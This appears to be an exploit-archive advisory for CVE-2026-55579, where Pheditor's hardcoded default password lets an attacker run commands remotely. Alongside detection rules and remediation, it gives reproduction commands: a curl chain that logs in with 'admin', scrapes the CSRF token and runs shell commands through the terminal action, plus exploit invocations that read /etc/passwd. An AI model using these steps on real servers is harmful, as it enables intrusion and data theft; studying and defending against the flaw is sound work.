Pheditor Hardcoded Default Password to Remote Code Execution (CVE-2026-55579)
Published: 2026-11-27 • Researcher: Ch4120N (GitHub: Ch4120N); archived and reviewed 2026-11-27
- Severity
- Critical
- CVE
- CVE-2026-55579 / GHSA-p4h7-p9rj-2pq2 / CWE-798
- Category
- web
- Affected product
- Pheditor, a single-file PHP editor and file manager by Hamid Samak
- Affected versions
- 2.0.1 through 2.0.5 (NVD: from 2.0.1 to before 2.0.6); fixed in 2.0.6
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-55579
- https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2
- https://github.com/pheditor/pheditor/releases/tag/2.0.6
- https://github.com/pheditor/pheditor
- https://github.com/Ch4120N/CVE-2026-55579
- https://cwe.mitre.org/data/definitions/798.html
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-17 (upstream commit 62ce004ff2ece672feee5d67959451ab8877b72d, “Create EVIDENCE.md CVE-2026-55579”) |
| Author / Researcher | Ch4120N (GitHub: Ch4120N); archived and reviewed 2026-11-27 |
| CVE / Advisory | CVE-2026-55579 / GHSA-p4h7-p9rj-2pq2 / CWE-798 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, per the NVD record) |
| Status | Weaponized (complete end-to-end chain: default-password login, CSRF token scrape, terminal command execution, optional file upload; no capture of a successful run is published) |
| Tags | pheditor, php, hardcoded-credentials, default-password, cwe-798, terminal, file-manager, rce, unauthenticated |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Pheditor, a single-file PHP editor and file manager by Hamid Samak |
| Versions Affected | 2.0.1 through 2.0.5 (NVD: from 2.0.1 to before 2.0.6); fixed in 2.0.6 |
| Language / Platform | PHP web application served by the PHP built-in server, Apache or nginx with PHP-FPM; the archived exploit is Python 3 using only the standard library |
| Authentication Required | No, in practice: the only credential is the vendor default password, which is public |
| Network Access Required | Yes, HTTP or HTTPS access to the pheditor.php endpoint |
Summary
Pheditor ships the SHA-512 hash of the password admin inside its own source file and never forces the operator to replace it, so a fresh deployment still accepts admin; the only reminder is a warning banner shown to the logged-in user. An attacker who can reach the login page authenticates with that known password, receives a session cookie plus CSRF token, and then uses the built-in terminal action to run shell commands with the web server’s privileges. The same session also exposes the file editor and the upload action, which turns a single known password into arbitrary file read, arbitrary file write and remote code execution. Version 2.0.6 closes the issue by forcing a password change at first login.
Vulnerability Details
Root Cause
The shared password is a compile-time constant in pheditor.php (line 11 of the vulnerable builds):
| |
That digest is sha512("admin"). In 2.0.1 through 2.0.5 the login branch simply compares the submitted password against the constant and marks the session as authenticated. Nothing asks the operator to pick a new secret; the default state is only surfaced as a dismissible warning in the page markup. This is CWE-798 (Use of Hard-coded Credentials).
The 2.0.6 fix adds a dedicated branch before normal authentication: if the stored constant still equals sha512("admin"), the login form becomes a forced “Change Password” form, a new value equal to admin is rejected, the script rewrites its own define('PASSWORD', ...) line and session_regenerate_id(true) is called before the redirect.
Attack Vector
POST pheditor.phpwithpheditor_password=admin. The server validates the digest, regenerates the session and sets the session cookie.GET pheditor.phpwith that cookie and read the CSRF token from the page, which renders a 64-character hex value into a JavaScript variable.POST pheditor.phpwithaction=terminal, the token,commandanddir. The handler passes the command toshell_execand returns the output in the JSON response.
The endpoint is normally exposed on the web root and is frequently indexed, so no extra reconnaissance is required beyond finding a Pheditor login page that still uses the default.
Impact
Remote code execution as the account running PHP (www-data, apache, nginx and similar). From there an attacker can read and modify every file the web server can reach, including application configuration and credentials, write a PHP web shell into the document root for persistence, pivot to databases and internal services reachable from the host, and use the server as a staging point. Because the credential is public and there is no lockout or second factor, exploitation needs no guessing and no user interaction, which is why the NVD vector rates it 9.8 with no privileges and no UI requirement.
Environment / Lab Setup
OS: Any Linux with PHP 7.4 or 8.x; attacker host with Python 3
Target: pheditor 2.0.5 (single pheditor.php file), served by php -S
Attacker: Python 3.8+ (standard library only)
Tools: php, curl, Python 3, a browser for manual verificationSetup Steps
| |
The archived script defaults to http://target/pheditor.php and the password admin; the endpoint URL is passed as the first positional argument. If the operator already changed the password the login step fails and the script exits, which is the expected behaviour against a hardened instance.
Proof of Concept
Step-by-Step Reproduction
Start the lab as shown above, leaving the default password in place.
Run an allowlisted command. The terminal handler only accepts commands that begin with an entry of its allowlist (ls, cat, whoami, pwd, id is not present, and so on) and rejects
&,;,||and$. Use a single allowlisted command:Shell script1python3 exploit.py http://127.0.0.1:8080/pheditor.php whoamiRead a file through the terminal instead of the editor, which avoids the editor’s path checks:
Shell script1python3 exploit.py http://127.0.0.1:8080/pheditor.php 'cat /etc/passwd'Note that the string is scanned for shell metacharacters but not for spaces, so a single command with arguments is accepted.
Attempt the upload helper. The archived script implements an
action=uploadflow with afilefield, which matches older Pheditor layouts; the 2.0.5 source instead handlesaction=upload-filewith anuploadfilefield and adestinationparameter, so this mode must be adapted before it will work:Shell script1python3 exploit.py http://127.0.0.1:8080/pheditor.php --upload shell.phpAlternative manual proof with curl, useful when the script’s response parsing hides an error:
Shell script1 2 3 4 5curl -s -c /tmp/ph.jar -d 'pheditor_password=admin' http://127.0.0.1:8080/pheditor.php TOKEN=$(curl -s -b /tmp/ph.jar http://127.0.0.1:8080/pheditor.php | grep -oP 'token\s*=\s*"\K[a-f0-9]{64}') curl -s -b /tmp/ph.jar --data-urlencode 'action=terminal' \ --data-urlencode "token=$TOKEN" --data-urlencode 'command=whoami' \ --data-urlencode 'dir=' http://127.0.0.1:8080/pheditor.php
Exploit Code
See
exploit.pyin this folder (upstream script with an added research-use header). The upstream README isupstream-README.md.
| |
Expected Output
| |
Against an instance whose password was changed, or a build that enforces a non-default secret, the script stops at [-] Exploit failed: unable to authenticate. If the chosen command is not on the allowlist, the JSON error Command not allowed is returned instead of command output, and the script prints that JSON body because it contains no pre element.
Detection & Indicators of Compromise
POST /pheditor.php body contains pheditor_password=admin
POST /pheditor.php body contains action=terminal and command=
POST /pheditor.php body contains action=upload-file
.phedlog failed-login counter keyed by client IP (deserialised PHP array)
.phedhistory copies of files written or edited through the editor
Apache/PHP-FPM child spawning /bin/sh -c with a command from the terminal allowlist
New PHP files in the document root owned by the web user
Writes to pheditor.php itself (the 2.0.6 forced-change routine rewrites it, but so can an attacker)
Reads of /etc/passwd, .env or config files by the web user
Unexpected outbound connections from the web serverBecause the terminal request looks like legitimate editor use, profile the password field and the combination of action=terminal with an unusual dir rather than the action alone.
SIEM / IDS Rule (example):
alert http any any -> any any (msg:"CVE-2026-55579 Pheditor default password login"; flow:to_server,established; content:"pheditor_password=admin"; http_client_body; sid:90555790; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Pheditor 2.0.6 or later; that release forces a new password on first login and refuses admin as the replacement. |
| Workaround | Edit the PASSWORD constant to a strong SHA-512 digest before deployment, or set the PERMISSIONS constant to remove terminal and uploadfile where they are not needed. |
| Config Hardening | Do not expose Pheditor to the internet; place it behind a VPN or an authenticated reverse proxy, restrict the ACCESS_IP constant to administrative addresses, serve it over HTTPS only, run PHP as an unprivileged user with open_basedir, and keep the document root non-writable by the web user. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/Ch4120N/CVE-2026-55579 (one star at review time; a Python script, three Markdown files and a LICENSE).
Review verdict: ingested as Weaponized. The script is a genuine end-to-end exploit rather than a detector or version checker: it posts the real Pheditor password form, scrapes the session CSRF token from the page, invokes the terminal action, parses the rendered output and offers a file upload helper. It contains no C2, persistence, evasion, keylogging, mining or credential-stealing modules and no third-party dependencies.
Limitations observed while reviewing against the upstream source:
- The repository README states that the flaw affects all versions with no fix. That is inaccurate: the NVD record and the 2.0.6 source show the forced password change and the patched constant in 2.0.6, and the affected range is 2.0.1 through 2.0.5.
- The script’s default command is
id, butidis not in the terminal allowlist of the 2.0.x builds, which is exactly the listls,ll,cp,rm,mv,whoami,pidof,pwd,whereis,.... The README exampleid; hostname; whoamiis doubly broken: the semicolon is rejected by the metacharacter filter. Usewhoami,pwdorcat <file>instead, as the reproduction steps do. - The upload helper posts
action=uploadwith afilefield and adirparameter. In the 2.0.5 source the handler isaction=upload-file, expectsuploadfileanddestination, and checks that the destination is an existing writable directory, so the helper is stale and needs adapting. - Login success is inferred from the HTTP status, which is 200 for the login page even on failure; the token scrape is what actually gates progress. No transcript of a successful run is published, so Weaponized reflects the completeness of the implemented chain, not observed output.
- The script never verifies the Pheditor version, so it will happily report an error body from a patched instance.
License: the upstream repository is MIT licensed and the archived exploit.py keeps the original copyright and permission notice; only a short research-use header was prepended. The upstream README is copied verbatim as upstream-README.md.
No exploit code was executed while preparing this entry.
| |